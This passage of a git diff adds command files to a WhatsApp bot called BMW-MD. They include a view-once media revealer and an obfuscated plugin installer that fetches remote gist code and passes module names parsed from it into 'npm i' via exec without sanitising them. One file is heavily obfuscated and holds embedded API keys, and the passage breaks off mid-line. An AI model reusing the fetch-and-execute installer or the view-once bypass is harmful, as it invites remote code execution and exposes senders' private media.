+ const _0x41b2f8 = new Date(_0x4bfc6.sys.sunrise * 0x3e8);
+ const _0x4393a0 = new Date(_0x4bfc6.sys.sunset * 0x3e8);
+ await _0xecdf09(" *BMW-MD WEATHER UPDATES* \n\n❄️ Weather in " + _0x3cf19a + "\n\n🌡️ *Temperature:* " + _0x52e997 + "°C\n📝 *Description:* " + _0x32180e + "\n❄️ *Humidity:* " + _0x2da493 + "%\n🌀 *Wind Speed:* " + _0x368581 + " m/s\n🌧️ *Rain Volume (last hour):* " + _0x28a97c + " mm\n☁️ *Cloudiness:* " + _0x39a4af + "%\n🌄 *Sunrise:* " + _0x41b2f8.toLocaleTimeString() + "\n🌅 *Sunset:* " + _0x4393a0.toLocaleTimeString() + "\n🌫️ *Latitude:* " + _0x4bfc6.coord.lat + "\n🌪️ *Longitude:* " + _0x4bfc6.coord.lon + "\n\n🗺 *Country:* " + _0x4bfc6.sys.country + "\n\n\n*°Powered by BMW-MD*");
+});
diff --git a/scs/bmwo.js b/scs/bmwo.js
new file mode 100644
index 0000000..ef92a17
--- /dev/null
+++ b/scs/bmwo.js
@@ -0,0 +1,39 @@
+const { adams } = require('../Ibrahim/adams');
+const {ajouterUtilisateurAvecWarnCount , getWarnCountByJID , resetWarnCountByJID} = require('../lib/warn')
+const s = require("../config")
+
+
+adams(
+ {
+ nomCom : 'warn',
+ categorie : 'Group'
+
+ },async (dest,zk,commandeOptions) => {
+
+ const {ms , arg, repondre,superUser,verifGroupe,verifAdmin , msgRepondu , auteurMsgRepondu} = commandeOptions;
+if(!verifGroupe ) {repondre('this is a group commands') ; return};
+
+if(verifAdmin || superUser) {
+ if(!msgRepondu){repondre('reply a message of user to warn'); return};
+
+ if (!arg || !arg[0] || arg.join('') === '') {
+ await ajouterUtilisateurAvecWarnCount(auteurMsgRepondu)
+ let warn = await getWarnCountByJID(auteurMsgRepondu)
+ let warnlimit = s.WARN_COUNT
+
+ if( warn >= warnlimit ) { await repondre('this user reach limit of warning , so i kick him/her');
+ zk.groupParticipantsUpdate(dest, [auteurMsgRepondu], "remove")
+ } else {
+
+ var rest = warnlimit - warn ;
+ repondre(`this user is warn , rest before kick : ${rest} `)
+ }
+} else if ( arg[0] === 'reset') { await resetWarnCountByJID(auteurMsgRepondu)
+
+ repondre("Warn count is reset for this user")} else ( repondre('reply to a user by typing .warn ou .warn reset'))
+
+} else {
+ repondre('you are not admin')
+}
+
+ });
diff --git a/scs/bmwp.js b/scs/bmwp.js
new file mode 100644
index 0000000..d5881a5
--- /dev/null
+++ b/scs/bmwp.js
@@ -0,0 +1,37 @@
+const {adams}=require("../Ibrahim/adams") ;
+
+
+
+adams({nomCom:"vv",categorie:"General",reaction:"🤪"},async(dest,zk,commandeOptions)=>{
+
+const {ms,msgRepondu,repondre}=commandeOptions;
+
+
+if(!msgRepondu){return repondre("*Mentionne a view once media* .");}
+
+
+if(msgRepondu.viewOnceMessageV2)
+{
+ if(msgRepondu.viewOnceMessageV2.message.imageMessage)
+ {
+ var image =await zk.downloadAndSaveMediaMessage(msgRepondu.viewOnceMessageV2.message.imageMessage)
+ var texte = msgRepondu.viewOnceMessageV2.message.imageMessage.caption
+
+ await zk.sendMessage(dest,{image:{url:image},caption:texte},{quoted:ms})
+ }else if(msgRepondu.viewOnceMessageV2.message.videoMessage){
+
+ var video = await zk.downloadAndSaveMediaMessage(msgRepondu.viewOnceMessageV2.message.videoMessage)
+var texte =msgRepondu.viewOnceMessageV2.message.videoMessage.caption
+
+
+await zk.sendMessage(dest,{video:{url:video},caption:texte},{quoted:ms})
+
+}
+}else
+{
+ return repondre("this message is not on view once .")
+}
+
+
+
+})
diff --git a/scs/bmwplns.js b/scs/bmwplns.js
new file mode 100644
index 0000000..1d9c9c2
--- /dev/null
+++ b/scs/bmwplns.js
@@ -0,0 +1,119 @@
+function _0x27c1(_0x522525,_0x19eac5){const _0x3f07a2=_0x3f07();return _0x27c1=function(_0x27c1ea,_0x1d972e){_0x27c1ea=_0x27c1ea-0x178;let _0x1e9a8c=_0x3f07a2[_0x27c1ea];return _0x1e9a8c;},_0x27c1(_0x522525,_0x19eac5);}const _0x1d3603=_0x27c1;(function(_0x5e745b,_0x113a20){const _0x18a1f9=_0x27c1,_0x3988c4=_0x5e745b();while(!![]){try{const _0xd0898a=-parseInt(_0x18a1f9(0x19f))/0x1+-parseInt(_0x18a1f9(0x19e))/0x2+parseInt(_0x18a1f9(0x1aa))/0x3*(-parseInt(_0x18a1f9(0x187))/0x4)+parseInt(_0x18a1f9(0x1ac))/0x5+parseInt(_0x18a1f9(0x1b2))/0x6+parseInt(_0x18a1f9(0x198))/0x7*(parseInt(_0x18a1f9(0x180))/0x8)+-parseInt(_0x18a1f9(0x17f))/0x9*(-parseInt(_0x18a1f9(0x1af))/0xa);if(_0xd0898a===_0x113a20)break;else _0x3988c4['push'](_0x3988c4['shift']());}catch(_0x454efe){_0x3988c4['push'](_0x3988c4['shift']());}}}(_0x3f07,0x72f7a));const a40_0x51cbee=(function(){let _0x3dea75=!![];return function(_0x596140,_0x36ea4e){const _0x3990f9=_0x3dea75?function(){if(_0x36ea4e){const _0x3e9ed6=_0x36ea4e['apply'](_0x596140,arguments);return _0x36ea4e=null,_0x3e9ed6;}}:function(){};return _0x3dea75=![],_0x3990f9;};}()),a40_0x1a7346=a40_0x51cbee(this,function(){const _0x5d3d82=_0x27c1;return a40_0x1a7346['toString']()[_0x5d3d82(0x192)](_0x5d3d82(0x18e))[_0x5d3d82(0x17b)]()[_0x5d3d82(0x194)](a40_0x1a7346)[_0x5d3d82(0x192)](_0x5d3d82(0x18e));});a40_0x1a7346();function _0x3f07(){const _0x5168a5=['8025SObEjn','resolve','525895WBXuaD','Here\x20is\x20an\x20exemple:\x0a-','\x0a*url\x20:*\x20','1110HLnDsN','https://gist.githubusercontent.com','Please\x20provide\x20a\x20valid\x20gist\x20raw\x20url','1552572cBzztY','match','then','error','toString','Modules\x20to\x20install\x20:\x20','delPlugin','startsWith','66465Hfevyk','152NyfbCg','.js','text','createWriteStream','plugin','plugin\x20list\x20:\x20for\x20listing\x20all\x20installed\x20plugins','stderr:\x20','252FWNwVJ','node:fs','../lib/plugin','end','split','join','replace','(((.+)+)+)+$','child_process','../framework/zokou','./commandes/','search','You\x20haven\x27t\x20install\x20any\x20plugin','constructor','https://gist.githubusercontent.com/','\x20removed\x20successfully\x20,\x20you\x20can\x20restart\x20now\x20or\x20if\x20have\x20another\x20plugin\x20to\x20remove\x20remove\x20these\x20first\x20and\x20then\x20restart\x20by\x20','forEach','146741KEEfcp','Addplugin','reboot','Plugin\x20installed\x20successfully\x20,\x20you\x20can\x20restart\x20now\x20or\x20if\x20have\x20another\x20plugin\x20to\x20install\x20install\x20these\x20first\x20and\x20then\x20restart\x20by\x20','url','install','1728418iMtcRP','78333FuSQAx','log','plugin\x20install\x20\x20:\x20for\x20plugin\x20installation\x0a-','exec\x20error:\x20','name','length','\x0a*name\x20:*\x20','push','Mods','toLowerCase','npm\x20i\x20'];_0x3f07=function(){return _0x5168a5;};return _0x3f07();}const {adams}=require('../Ibrahim/adams'),fs=require(_0x1d3603(0x188)),{exec}=require(_0x1d3603(0x18f)),plug=require(_0x1d3603(0x189));adams({'nomCom':_0x1d3603(0x184),'categorie':_0x1d3603(0x1a7),'desc':'manage(add\x20or\x20remove)\x20plugin','alias':['pg']},async(_0x24445d,_0x3ea8d3,_0x1fd90b)=>{const _0x5e8fa1=_0x1d3603,{repondre:_0x263c22,arg:_0x1e385f,ms:_0x126188,prefixe:_0x511e43}=_0x1fd90b;if(!_0x1e385f[0x0]||_0x1e385f[_0x5e8fa1(0x18c)]('')==='')_0x263c22(_0x5e8fa1(0x1ad)+_0x511e43+_0x5e8fa1(0x1a1)+_0x511e43+'plugin\x20remove\x20\x20:\x20for\x20removing\x20plugins\x0a-'+_0x511e43+_0x5e8fa1(0x185));else switch(_0x1e385f[0x0][_0x5e8fa1(0x1a8)]()){case _0x5e8fa1(0x19d):if(_0x1e385f[0x1][_0x5e8fa1(0x17e)](_0x5e8fa1(0x1b0))){const _0x3c9979=_0x1e385f[0x1];let _0x5785d3=await installPlugin(_0x3c9979);_0x5785d3&&_0x263c22(_0x5e8fa1(0x19b)+_0x511e43+'reboot');}else _0x263c22(_0x5e8fa1(0x1b1));break;case'remove':_0x1e385f[0x1]&&_0x1e385f[0x1]['trim']()!==''&&await plug[_0x5e8fa1(0x17d)](_0x1e385f[0x1])[_0x5e8fa1(0x179)](_0x66fa53=>{const _0x59a618=_0x5e8fa1;fs['rmSync'](_0x59a618(0x191)+_0x1e385f[0x1]+_0x59a618(0x181)),_0x263c22('Plugin\x20'+_0x1e385f[0x1]+_0x59a618(0x196)+_0x511e43+_0x59a618(0x19a));});break;case'list':const _0x120c3e=await plug['pluginList']();console['log'](_0x120c3e);if(_0x120c3e[_0x5e8fa1(0x1a4)]>0x0){let _0x36d6ad='';_0x120c3e[_0x5e8fa1(0x197)](_0x31b6d5=>{const _0x31abfd=_0x5e8fa1;_0x36d6ad+=_0x31abfd(0x1a5)+_0x31b6d5[_0x31abfd(0x1a3)]+_0x31abfd(0x1ae)+_0x31b6d5[_0x31abfd(0x19c)]+'\x0a';}),_0x263c22(_0x36d6ad);}else _0x263c22(_0x5e8fa1(0x193));break;}}),installPlugin=async _0xb97b96=>{const _0x4e89f9=_0x1d3603,_0x196f9f=await fetch(_0xb97b96),_0x5a08b1=await _0x196f9f[_0x4e89f9(0x182)]();let _0x517fa1=_0x5a08b1[_0x4e89f9(0x178)](/require\(['"]([^'"]+)['"]\)/g),_0x18fb8e=[];_0x517fa1&&_0x517fa1[_0x4e89f9(0x197)](_0x5a2ec6=>{const _0x45ac40=_0x4e89f9,_0x118984=_0x5a2ec6[_0x45ac40(0x18d)]('require(','')['replace'](')','')[_0x45ac40(0x18d)](/['"]/g,'');try{_0x118984!==_0x45ac40(0x190)&&require[_0x45ac40(0x1ab)](_0x118984);}catch{!_0x18fb8e['includes'](_0x118984)&&_0x18fb8e[_0x45ac40(0x1a6)](_0x118984);}});_0x18fb8e[_0x4e89f9(0x1a4)]>0x0&&(console['log'](_0x4e89f9(0x17c),_0x18fb8e),await new Promise((_0x49f10b,_0x50a1d4)=>{const _0x3456e2=_0x4e89f9;exec(_0x3456e2(0x1a9)+_0x18fb8e[_0x3456e2(0x18c)]('\x20'),(_0x189111,_0x564d3f,_0x557122)=>{const _0x1cc36f=_0x3456e2;_0x189111&&(console[_0x1cc36f(0x17a)](_0x1cc36f(0x1a2)+_0x189111),_0x50a1d4(_0x189111)),console['log']('stdout:\x20'+_0x564d3f),console[_0x1cc36f(0x17a)](_0x1cc36f(0x186)+_0x557122),_0x49f10b(_0x564d3f);});}));const _0x3dffef=_0xb97b96[_0x4e89f9(0x18d)](_0x4e89f9(0x195),'')[_0x4e89f9(0x18b)]('/')[0x4];return fs[_0x4e89f9(0x183)](_0x4e89f9(0x191)+_0x3dffef)[_0x4e89f9(0x18a)](_0x5a08b1),console[_0x4e89f9(0x1a0)]('Plugin\x20installed\x20successfully'),await plug[_0x4e89f9(0x199)](_0x3dffef[_0x4e89f9(0x18d)](_0x4e89f9(0x181),''),_0xb97b96),!![];};
+/**
+const a40_0x51cbee = function () {
+ let _0x5eb5b7 = true;
+ return function (_0x414ccc, _0x2b3814) {
+ const _0x89bc87 = _0x5eb5b7 ? function () {
+ if (_0x2b3814) {
+ const _0x4cb527 = _0x2b3814.apply(_0x414ccc, arguments);
+ _0x2b3814 = null;
+ return _0x4cb527;
+ }
+ } : function () {};
+ _0x5eb5b7 = false;
+ return _0x89bc87;
+ };
+}();
+const a40_0x1a7346 = a40_0x51cbee(this, function () {
+ return a40_0x1a7346.toString().search('(((.+)+)+)+$').toString().constructor(a40_0x1a7346).search("(((.+)+)+)+$");
+});
+a40_0x1a7346();
+const {
+ adams
+} = require("../Ibrahim/adams");
+const fs = require("node:fs");
+const {
+ exec
+} = require('child_process');
+const plug = require("../lib/plugin");
+adams({
+ 'nomCom': 'plugin',
+ 'categorie': "Mods",
+ 'desc': "manage(add or remove) plugin",
+ 'alias': ['pg']
+}, async (_0x1c4f27, _0x25b71c, _0x3ceeb8) => {
+ const {
+ repondre: _0x4b5993,
+ arg: _0x5b18db,
+ ms: _0x4a45ff,
+ prefixe: _0x133d81
+ } = _0x3ceeb8;
+ if (!_0x5b18db[0x0] || _0x5b18db.join('') === '') {
+ _0x4b5993("Here is an exemple:\n-" + _0x133d81 + "plugin install : for plugin installation\n-" + _0x133d81 + "plugin remove : for removing plugins\n-" + _0x133d81 + "plugin list : for listing all installed plugins");
+ } else {
+ switch (_0x5b18db[0x0].toLowerCase()) {
+ case 'install':
+ if (_0x5b18db[0x1].startsWith("https://gist.githubusercontent.com")) {
+ const _0x3d8304 = _0x5b18db[0x1];
+ let _0x29ca80 = await installPlugin(_0x3d8304);
+ if (_0x29ca80) {
+ _0x4b5993("Plugin installed successfully , you can restart now or if have another plugin to install install these first and then restart by " + _0x133d81 + "reboot");
+ }
+ } else {
+ _0x4b5993("Please provide a valid gist raw url");
+ }
+ break;
+ case "remove":
+ if (_0x5b18db[0x1] && _0x5b18db[0x1].trim() !== '') {
+ await plug.delPlugin(_0x5b18db[0x1]).then(_0x15d529 => {
+ fs.rmSync("./commandes/" + _0x5b18db[0x1] + ".js");
+ _0x4b5993("Plugin " + _0x5b18db[0x1] + " removed successfully , you can restart now or if have another plugin to remove remove these first and then restart by " + _0x133d81 + "reboot");
+ });
+ }
+ break;
+ case 'list':
+ const _0x2f3d5d = await plug.pluginList();
+ console.log(_0x2f3d5d);
+ if (_0x2f3d5d.length > 0x0) {
+ let _0x268827 = '';
+ _0x2f3d5d.forEach(_0x18d696 => {
+ _0x268827 += "\n*name :* " + _0x18d696.name + "\n*url :* " + _0x18d696.url + "\n";
+ });
+ _0x4b5993(_0x268827);
+ } else {
+ _0x4b5993("You haven't install any plugin");
+ }
+ break;
+ }
+ }
+});
+installPlugin = async _0x192394 => {
+ const _0x562712 = await fetch(_0x192394);
+ const _0x20e9b1 = await _0x562712.text();
+ let _0x148cc8 = _0x20e9b1.match(/require\(['"]([^'"]+)['"]\)/g);
+ let _0x2c8aa8 = [];
+ if (_0x148cc8) {
+ _0x148cc8.forEach(_0x5f5402 => {
+ const _0x181d9a = _0x5f5402.replace('require(', '').replace(')', '').replace(/['"]/g, '');
+ try {
+ if (_0x181d9a !== "../framework/zokou") {
+ require.resolve(_0x181d9a);
+ }
+ } catch {
+ if (!_0x2c8aa8.includes(_0x181d9a)) {
+ _0x2c8aa8.push(_0x181d9a);
+ }
+ }
+ });
+ }
+ if (_0x2c8aa8.length > 0x0) {
+ console.log("Modules to install : ", _0x2c8aa8);
+ await new Promise((_0x4ff127, _0x57419e) => {
+ exec("npm i " + _0x2c8aa8.join(" "), (_0x4995f8, _0x44c91f, _0x4ad3bc) => {
+ if (_0x4995f8) {
+ console.error("exec error: " + _0x4995f8);
+ _0x57419e(_0x4995f8);
+ }
+ console.log("stdout: " + _0x44c91f);
+ console.error("stderr: " + _0x4ad3bc);
+ _0x4ff127(_0x44c91f);
+ });
+ });
+ }
+ const _0x3b28ca = _0x192394.replace("https://gist.githubusercontent.com/", '').split('/')[0x4];
+ fs.createWriteStream("./commandes/" + _0x3b28ca).end(_0x20e9b1);
+ console.log("Plugin installed successfully");
+ await plug.Addplugin(_0x3b28ca.replace('.js', ''), _0x192394);
+ return true;
+};
+**/
diff --git a/scs/bmwq.js b/scs/bmwq.js
new file mode 100644
index 0000000..0537846
--- /dev/null
+++ b/scs/bmwq.js
@@ -0,0 +1,90 @@
+const { adams } = require("../Ibrahim/adams");
+const moment = require("moment-timezone");
+const { getBuffer } = require("../Ibrahim/dl/Function");
+const { default: axios } = require('axios');
+const speed = require("performance-now");
+
+
+const runtime = function (seconds) {
+ seconds = Number(seconds);
+ var d = Math.floor(seconds / (3600 * 24));
+ var h = Math.floor((seconds % (3600 * 24)) / 3600);
+ var m = Math.floor((seconds % 3600) / 60);
+ var s = Math.floor(seconds % 60);
+ var dDisplay = d > 0 ? d + (d == 1 ? " day, " : " d, ") : "";
+ var hDisplay = h > 0 ? h + (h == 1 ? " hour, " : " h, ") : "";
+ var mDisplay = m > 0 ? m + (m == 1 ? " minute, " : " m, ") : "";
+ var sDisplay = s > 0 ? s + (s == 1 ? " second" : " s") : "";
+ return dDisplay + hDisplay + mDisplay + sDisplay;
+ }
+let timestamp = speed()
+let flashspeed = (speed() - timestamp).toFixed(4)
+adams({ nomCom: 'ping',
+ desc: 'To check ping',
+ Categorie: 'General',
+ reaction: '🚘',
+ fromMe: 'true',
+
+
+ },
+
+
+async (dest, zk, commandeOptions) => {
+ const { ms, arg, repondre} = commandeOptions;
+
+
+
+await repondre(`*Pong▱▱▱▰▰▰▰▰ ${flashspeed} MS* `);
+
+}
+);
+
+
+
+
+adams({ nomCom: 'uptime',
+ desc: 'To check runtime',
+ Categorie: 'General',
+ reaction: '🚘',
+ fromMe: 'true',
+
+
+ },
+ async (dest, zk, commandeOptions) => {
+ const { ms, arg, repondre } = commandeOptions;
+
+ await repondre(`*Bmw speed is: ${runtime(process.uptime())}_*`)
+
+
+
+
+ }
+);
+
+
+adams({ nomCom: 'ss',
+ desc: 'screenshots website',
+ Categorie: 'General',
+ reaction: '🎥',
+ fromMe: 'true',
+
+},
+ async (dest, zk, commandeOptions) => {
+ const { ms, arg, repondre } = commandeOptions;
+
+ if (!arg || arg.length === 0) return repondre("provide a link...");
+
+ const linkk = arg.join(' ');
+
+
+
+let linkkk = `https://api.maher-zubair.tech/misc/sstab?url=${linkk}&dimension=720x720`;
+
+let res = await getBuffer(linkkk);
+ let caption = '*Powered by BARAKA-MD-V1*'
+
+await zk.sendMessage(dest, { image: res }, { caption: caption }, { quoted: ms });
+
+
+}
+);
diff --git a/scs/bmwqan.js b/scs/bmwqan.js
new file mode 100644
index 0000000..ec72fe0
--- /dev/null
+++ b/scs/bmwqan.js
@@ -0,0 +1 @@
+const _0x3a5fe3=_0x5431;function _0x5431(_0x4761c6,_0x52e612){const _0x380cca=_0x4421();return _0x5431=function(_0x5c5dd5,_0x379d57){_0x5c5dd5=_0x5c5dd5-(0xc19*0x3+-0x1afc+0x27*-0x3a);let _0x3ab7e7=_0x380cca[_0x5c5dd5];return _0x3ab7e7;},_0x5431(_0x4761c6,_0x52e612);}(function(_0x25c72c,_0x92da57){const _0x5e3596=_0x5431,_0x3421d0=_0x25c72c();while(!![]){try{const _0x571536=parseInt(_0x5e3596(0x82))/(-0x1*0x845+-0x1*0x767+-0x1*-0xfad)+-parseInt(_0x5e3596(0xd1))/(0x1e*-0x6f+0x12be+0x5ba*-0x1)+parseInt(_0x5e3596(0xc9))/(0x1*0x11b3+0x2*-0x7bb+-0x23a)*(-parseInt(_0x5e3596(0xe5))/(-0x1107+-0x7d+0x8c4*0x2))+-parseInt(_0x5e3596(0xd6))/(0x1d5c+0xa*-0x243+-0x6b9*0x1)+parseInt(_0x5e3596(0xc1))/(0x1fa2+0x1cd9+0xb*-0x57f)*(-parseInt(_0x5e3596(0x92))/(0x5*0x6b+0x746+-0x956))+parseInt(_0x5e3596(0xb1))/(0x22e2+-0x1136+-0x11a4)+parseInt(_0x5e3596(0x85))/(0x18c4+-0x2439+-0x1*-0xb7e);if(_0x571536===_0x92da57)break;else _0x3421d0['push'](_0x3421d0['shift']());}catch(_0xb5211c){_0x3421d0['push'](_0x3421d0['shift']());}}}(_0x4421,-0x7c4*-0x3e+0x1*0x558ad+-0x2bf8f));function _0x4421(){const _0x23f5fd=['msg=','bsWeI','cnt','*powered\x20b','red\x20while\x20','yYxVC','\x20you.','MpzfL','\x20your\x20requ','VXVsW','VdwGU','/traductio','FCnvD','axios','length','jGmkR','esting\x20Bra','2915360VkiaVi','wGiik','/api/ai/gp','VbixV','\x20a\x20me\x20any\x20','DsXfp','otooxy.com','ench\x20:','mQMjj','log','NyodG','json','Jwvaj','stening\x20to','cjVMj','YpDOP','1230exVEhX','y\x20BMW-MD*','Error\x20when','FlMCK','raah-tech','uid=[uid]&','dwgJi','JnJeq','45IELQyK','on.','then','thing.','est','eO1kubFVD&','d=177607&k','Please\x20ask','799470vyNBYw','result','StCqz','message','join','727440OIoVFn','gpt','xKwSr','inShop\x20:','rror\x20occur','\x20the\x20image','Erreur:','oBnWh','https://ap','status','eneration.','error','ng\x20image\x20g','get','Error\x20requ','115096IDWIIz','../Ibrahim','cIYQg','http://api','ycszE','i.ibrahima','\x20s\x27est\x20pro','Error\x20duri','eate-image','\x20translati','yes\x20I\x27m\x20li','/adams','.brainshop','est.','ormation\x20t','essary\x20inf','bot','SeTRl','processing','rVScb','VQitV','zUhjN','ror\x20:\x20','zTdGT','VvUMi','TLYfe','GsLyG','t4?q=','e\x20generati','https://ph','ElUwY','uSNHd','wKzig','BRSSw','383458wICLmX','&apikey=ib','.ai/get?bi','7458759kFSblk','aXwWq','/effect/cr','inShop','Please\x20ent','Oops,\x20an\x20e','catch','sendMessag','Une\x20erreur','ench','tYQar','oops\x20an\x20er','duite','10458rNAGNG','o\x20generate','OEgKg','oHDJo','ey=NwzhALq','dams.us.kg','ng\x20respons','VpmRW','\x20a\x20questio','data','?q=','ng\x20into\x20Fr','er\x20the\x20nec','gpt1'];_0x4421=function(){return _0x23f5fd;};return _0x4421();}const {adams}=require(_0x3a5fe3(0xe6)+_0x3a5fe3(0xf0)),traduire=require(_0x3a5fe3(0xe6)+_0x3a5fe3(0xab)+'n'),{default:axios}=require(_0x3a5fe3(0xad));adams({'nomCom':_0x3a5fe3(0xf5),'reaction':'📡','categorie':'IA'},async(_0x48c995,_0x3ca759,_0x4442ed)=>{const _0x3fab9b=_0x3a5fe3,_0x36b327={'aXwWq':function(_0x1966c7,_0x25b494){return _0x1966c7(_0x25b494);},'bsWeI':_0x3fab9b(0xc3)+_0x3fab9b(0xee)+_0x3fab9b(0x9d)+_0x3fab9b(0xb8),'yYxVC':function(_0x225141,_0x32c16c){return _0x225141(_0x32c16c);},'uSNHd':_0x3fab9b(0xc3)+_0x3fab9b(0xee)+_0x3fab9b(0x9d)+_0x3fab9b(0x8e),'tYQar':function(_0x141238,_0x22834a,_0x370974){return _0x141238(_0x22834a,_0x370974);},'YpDOP':_0x3fab9b(0xe4)+_0x3fab9b(0xb0)+_0x3fab9b(0xd9),'zTdGT':function(_0x3a985a,_0xb851a){return _0x3a985a(_0xb851a);},'jGmkR':_0x3fab9b(0xe4)+_0x3fab9b(0xb0)+_0x3fab9b(0x88),'VXVsW':function(_0x27463a,_0x27b23e){return _0x27463a(_0x27b23e);},'oHDJo':_0x3fab9b(0xef)+_0x3fab9b(0xbe)+_0x3fab9b(0xa6),'wGiik':function(_0x13300b,_0x15b9a2,_0x3af832){return _0x13300b(_0x15b9a2,_0x3af832);},'wKzig':function(_0x2cbe5e,_0x33e091){return _0x2cbe5e(_0x33e091);},'SeTRl':function(_0x22a68c,_0x16c986){return _0x22a68c+_0x16c986;},'DsXfp':_0x3fab9b(0x90)+_0x3fab9b(0xfb)},{repondre:_0x1b0ad9,ms:_0x21ea22,arg:_0x1e996c}=_0x4442ed;if(!_0x1e996c||!_0x1e996c[0x59*0x43+-0x5*-0x18b+-0x1f02])return _0x36b327[_0x3fab9b(0xa9)](_0x1b0ad9,_0x36b327[_0x3fab9b(0x95)]);try{const _0x1b4489=await _0x36b327[_0x3fab9b(0xb2)](traduire,_0x1e996c[_0x3fab9b(0xd5)]('\x20'),{'to':'en'});console[_0x3fab9b(0xba)](_0x1b4489),_0x36b327[_0x3fab9b(0x86)](fetch,_0x3fab9b(0xe8)+_0x3fab9b(0xf1)+_0x3fab9b(0x84)+_0x3fab9b(0xcf)+_0x3fab9b(0x96)+_0x3fab9b(0xce)+_0x3fab9b(0xc6)+_0x3fab9b(0xa0)+_0x1b4489)[_0x3fab9b(0xcb)](_0x50f73f=>_0x50f73f[_0x3fab9b(0xbc)]())[_0x3fab9b(0xcb)](_0x4d60b6=>{const _0x30fa89=_0x3fab9b,_0x9fd104=_0x4d60b6[_0x30fa89(0xa2)];console[_0x30fa89(0xba)](_0x9fd104),_0x36b327[_0x30fa89(0x8f)](traduire,_0x9fd104,{'to':'en'})[_0x30fa89(0xcb)](_0x2740da=>{const _0x29d8b6=_0x30fa89;_0x36b327[_0x29d8b6(0x86)](_0x1b0ad9,_0x2740da);})[_0x30fa89(0x8b)](_0x11eafa=>{const _0x155b3d=_0x30fa89;console[_0x155b3d(0xe1)](_0x36b327[_0x155b3d(0xa1)],_0x11eafa),_0x36b327[_0x155b3d(0xa5)](_0x1b0ad9,_0x36b327[_0x155b3d(0x7f)]);});})[_0x3fab9b(0x8b)](_0x58c4cc=>{const _0x285f88=_0x3fab9b;console[_0x285f88(0xe1)](_0x36b327[_0x285f88(0xc0)],_0x58c4cc),_0x36b327[_0x285f88(0xfc)](_0x1b0ad9,_0x36b327[_0x285f88(0xaf)]);});}catch(_0x137496){_0x36b327[_0x3fab9b(0x80)](_0x1b0ad9,_0x36b327[_0x3fab9b(0xf6)](_0x36b327[_0x3fab9b(0xb6)],_0x137496));}}),adams({'nomCom':'ai','reaction':'📡','categorie':'IA'},async(_0x2ead56,_0x5dfe1c,_0x210efb)=>{const _0x49914b=_0x3a5fe3,_0x58583a={'TLYfe':function(_0x3dc271,_0x3bd488){return _0x3dc271===_0x3bd488;},'ElUwY':function(_0x1ad1ea,_0x49e9e6){return _0x1ad1ea(_0x49e9e6);},'VbixV':_0x49914b(0xa3)+_0x49914b(0xc2),'ycszE':function(_0x59d5f6,_0x179d33){return _0x59d5f6==_0x179d33;},'VQitV':function(_0x248797,_0x5309a3){return _0x248797(_0x5309a3);},'StCqz':_0x49914b(0xec)+_0x49914b(0xe2)+_0x49914b(0xe0),'VdwGU':_0x49914b(0xdc),'JnJeq':_0x49914b(0x8d)+_0x49914b(0xeb)+_0x49914b(0x91),'oBnWh':function(_0x5796fe,_0x88bef4){return _0x5796fe(_0x88bef4);},'xKwSr':_0x49914b(0x8a)+_0x49914b(0xda)+_0x49914b(0xa4)+_0x49914b(0xf7)+_0x49914b(0xa8)+_0x49914b(0xcd)},{repondre:_0x48d96a,arg:_0x5416cb,ms:_0x2994d3}=_0x210efb;try{if(!_0x5416cb||_0x58583a[_0x49914b(0x79)](_0x5416cb[_0x49914b(0xae)],0xd29*0x1+-0x3e3+-0x946))return _0x58583a[_0x49914b(0x7e)](_0x48d96a,_0x49914b(0x89)+_0x49914b(0x9e)+_0x49914b(0xf4)+_0x49914b(0xf3)+_0x49914b(0x93)+_0x49914b(0xdb)+'.');const _0xb97933=_0x5416cb[_0x49914b(0xd5)]('\x20'),_0x1f5904=await axios[_0x49914b(0xe3)](_0x49914b(0x7d)+_0x49914b(0xb7)+_0x49914b(0x87)+_0x49914b(0xed)+_0x49914b(0x9c)+_0xb97933),_0x3b145d=_0x1f5904[_0x49914b(0x9b)];let _0x173e2d=_0x58583a[_0x49914b(0xb4)];if(_0x58583a[_0x49914b(0xe9)](_0x3b145d[_0x49914b(0xdf)],0x1*-0xb36+0xb4*0x8+0x65e)){const _0x4e07b2=_0x3b145d[_0x49914b(0xd2)];_0x5dfe1c[_0x49914b(0x8c)+'e'](_0x2ead56,{'image':{'url':_0x4e07b2},'caption':_0x173e2d},{'quoted':_0x2994d3});}else _0x58583a[_0x49914b(0xf9)](_0x48d96a,_0x58583a[_0x49914b(0xd3)]);}catch(_0x163d96){console[_0x49914b(0xe1)](_0x58583a[_0x49914b(0xaa)],_0x163d96[_0x49914b(0xd4)]||_0x58583a[_0x49914b(0xc8)]),_0x58583a[_0x49914b(0xdd)](_0x48d96a,_0x58583a[_0x49914b(0xd8)]);}}),adams({'nomCom':_0x3a5fe3(0x9f),'reaction':'📡','categorie':'IA'},async(_0x568514,_0x4f75e0,_0x1e3491)=>{const _0x390aac=_0x3a5fe3,_0x49a275={'cjVMj':function(_0x4e5202,_0x51c5fd){return _0x4e5202===_0x51c5fd;},'BRSSw':function(_0x51add0,_0x517ec4){return _0x51add0(_0x517ec4);},'GsLyG':function(_0x27eed3,_0x3183eb){return _0x27eed3(_0x3183eb);},'cIYQg':_0x390aac(0xec)+_0x390aac(0x98)+_0x390aac(0x7c)+_0x390aac(0xca),'OEgKg':_0x390aac(0xdc),'VvUMi':_0x390aac(0x8d)+_0x390aac(0xeb)+_0x390aac(0x91),'NyodG':function(_0x4925b2,_0x5f2a9d){return _0x4925b2(_0x5f2a9d);},'MpzfL':_0x390aac(0x8a)+_0x390aac(0xda)+_0x390aac(0xa4)+_0x390aac(0xf7)+_0x390aac(0xa8)+_0x390aac(0xf2)},{repondre:_0x8d5a47,arg:_0x58ad77,ms:_0xff2b67}=_0x1e3491;try{if(!_0x58ad77||_0x49a275[_0x390aac(0xbf)](_0x58ad77[_0x390aac(0xae)],0x8d9*-0x3+-0x16e3+-0x14d*-0x26))return _0x49a275[_0x390aac(0x81)](_0x8d5a47,_0x390aac(0xd0)+_0x390aac(0xb5)+_0x390aac(0xcc));const _0x161fe2=_0x58ad77[_0x390aac(0xd5)]('\x20'),_0x5abaf6=await 